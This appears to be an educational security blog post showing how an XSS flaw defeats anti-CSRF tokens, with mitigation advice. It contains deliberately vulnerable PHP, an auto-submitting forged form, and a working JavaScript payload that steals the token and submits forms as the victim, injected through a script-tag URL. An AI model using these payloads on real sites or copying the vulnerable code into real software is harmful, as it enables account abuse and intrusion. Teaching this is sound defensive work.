In this post I will show why anti-CSRF tokens are useless as soon as there is an XSS vulnerability in the target site. This post contains all the example scripts necessary to reproduce bypassing CSRF protection via XSS vulnerabilities. The code is meant for educational purposes only.
- Basic Terms: CSRF and XSS
- PHP CSRF Example Script
- Basic CSRF via POST attack
- Introducing a XSS vulnerability
- Bypass CSRF Protection via XSS
- Bypass CSRF Protection without XSS
- Conclusion on CSRF and the Dangers of XSS
- Mitigation
Basic Terms: CSRF and XSS
CSRF means Cross-Site Request Forgery. The idea is to get a user that is logged in at a website to perform actions on that site they do not actually want to perform. This can be achieved by getting the victim to visit a website (possibly – but not necessarily – owned by the attacker) that contains specially crafted HTML code created by the attacker. CSRF is possible with POST as well as GET requests (although as per REST, GET requests shouldn’t actually change data on the server).
Anti-CSRF token is the recommended way to prevent CSRF. A one time token is stored in the session as well as the form when creating it, and when the form is submitted, the submitted token is compared to the session token. If they match, there is no CSRF attack.
XSS means cross-site scripting, and it allows an attacker to execute arbitrary JavaScript in the victims browser in the context of the vulnerable website.
PHP CSRF Example Script
Not much is happening in this example script of a form with CSRF protection. It is a form with a single input field (in addition to the anti-CSRF token), and debug information is written to a file:
<?php
// /var/www/csrf/login.php
session_start();
$debugFile = "/var/www/csrf/logfile";
if (!isset($_POST['name'])) {
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
file_put_contents($debugFile, "\nissuing token: " . $token, FILE_APPEND | LOCK_EX);
echo '
<html>
<body>
<form id="form" action="" method="post">
<input type="hidden" name="token" value="' . $token . '" />
Name: <input type="text" name="name"><br>
<input type="submit">
</form>
</body>
</html>';
} else {
if ($_POST['token'] == $_SESSION['token']) {
file_put_contents($debugFile, "\ntoken ok: " . $_POST['name'], FILE_APPEND | LOCK_EX);
} else {
file_put_contents($debugFile, "\nwrong token given: " . $_POST['token'] . " expected: " . $_SESSION['token'], FILE_APPEND | LOCK_EX);
}
}
If you use the form in a browser, the result will be:
issuing token: cf36edd7d23fe06eb45ed9d4e30543da
token ok: test
Basic CSRF via POST attack
A basic CSRF POST attack would for example look like this:
<form id="myform" action="http://localhost/csrf/login.php" method="post">
<input type="hidden" name="token" value="unkown_csrf_token" />
Name: <input type="text" name="name" value="evilUser"><br>
<input type="submit">
</form>
<script>document.forms["myform"].submit();</script>
This code would be placed by the attacker on a website, and then the victim would be asked to visit it. In this case though, this would obviously not work, because of the CSRF protection. The result would be:
wrong token given: unkown_csrf_token expected: 4baabea60e7683f9feb54086cebda4e4
Introducing a XSS vulnerability
If we now introduce an XSS vulnerability to our website though, we can perform CSRF attacks. This vulnerability does not have to reside in the same script as the form:
// /var/www/csrf/search.php
<html>
<body>
<?php echo $_GET['s']; ?>
</body>
</html>
Bypass CSRF Protection via XSS
The attack to bypass CSRF protection via XSS is simple: First, get the valid token from the form, build the attack form with the retrieved token, and then submit the form:
var csrfProtectedPage = 'http://localhost/csrf/login.php';
var csrfProtectedForm = 'form';
// get valid token for current request
var html = get(csrfProtectedPage);
document.body.innerHTML = html;
var form = document.getElementById(csrfProtectedForm);
var token = form.token.value;
// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
+ '<input type="hidden" name="token" value="' + token + '">'
+ '<input id="username" name="name" value="evilUser">'
+ '</form>';
// submit form
document.forms["myform"].submit();
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}
An attacker would now place this script on a server controlled by them (eg http://localhost/csrf/script.js
) and then get a victim to visit http://localhost/csrf/search.php?s=<script src="http://localhost/csrf/script.js"></script>
(note that it is not necessary for the evil JavaScript file to be hosted on the victim server). Now, the script will be executed in the context of the victim website, and the attacked form will be submitted in the name of the victim user.
The result in our debug file is what we would expect:
issuing token: 8c168479619c9dbcbfa1cdef5e93daf8
token ok: evilUser
The attacker controlled value evilUser was submitted by the victim.
Note that this is just a proof of concept. In an actual attack, the victim would not be aware of any of this happening, as the attacker can load and execute the evil JavaScript in an iframe and possibly redirect the victim to an innocent page.
Bypass CSRF Protection without XSS
Now that you have seen how to bypass CSRF protection via XSS, you might think that these steps should be possible without an XSS vulnerability as well. But this is actually not the case; The same origin policy does not allow you to retrieve HTML pages from different origins. The get request shown above can only retrieve websites from the same origin as the JavaScript itself, this is why an XSS vulnerability – or a vulnerability bypassing the same origin policy – is needed.
Conclusion on CSRF and the Dangers of XSS
In this post, I have shown a proof of concept for why CSRF protection does not limit the potential of XSS vulnerabilities.
This is important to realize, as it increases the importance of proper XSS protection. Setting important cookies httpOnly and having CSRF protection in place is not enough to mitigate some of the most important dangers of XSS, as CSRF protection can be easily bypassed.
With httpOnly, an attacker can no longer steal cookies, but as we have seen, they can still submit all forms in the name of the user. For example, this makes it possible to distribute spam in a social network, or – if the victim is an admin – possibly add new admin users, lower security settings, edit files leading to code execution, and so on. Obviously, this is in addition to all the other dangers of XSS that already justify proper XSS prevention, such as injecting ads, defacing websites, performing phishing attacks, or injecting keyloggers.
Mitigation
Don’t have XSS vulnerabilities.
Anti-CSRF tokens are the recommended way to prevent CSRF attacks, and it is what you should be using. CAPTCHAS or requiring passwords for sensitive actions would actually prevent CSRF even with an existing XSS vulnerability, but they severely impact the usability of a website. Checking the referrer on the other hand would be a weaker form of CSRF prevention, as it could not only be bypassed with an XSS vulnerability, but also if an open redirect vulnerability exists in the website.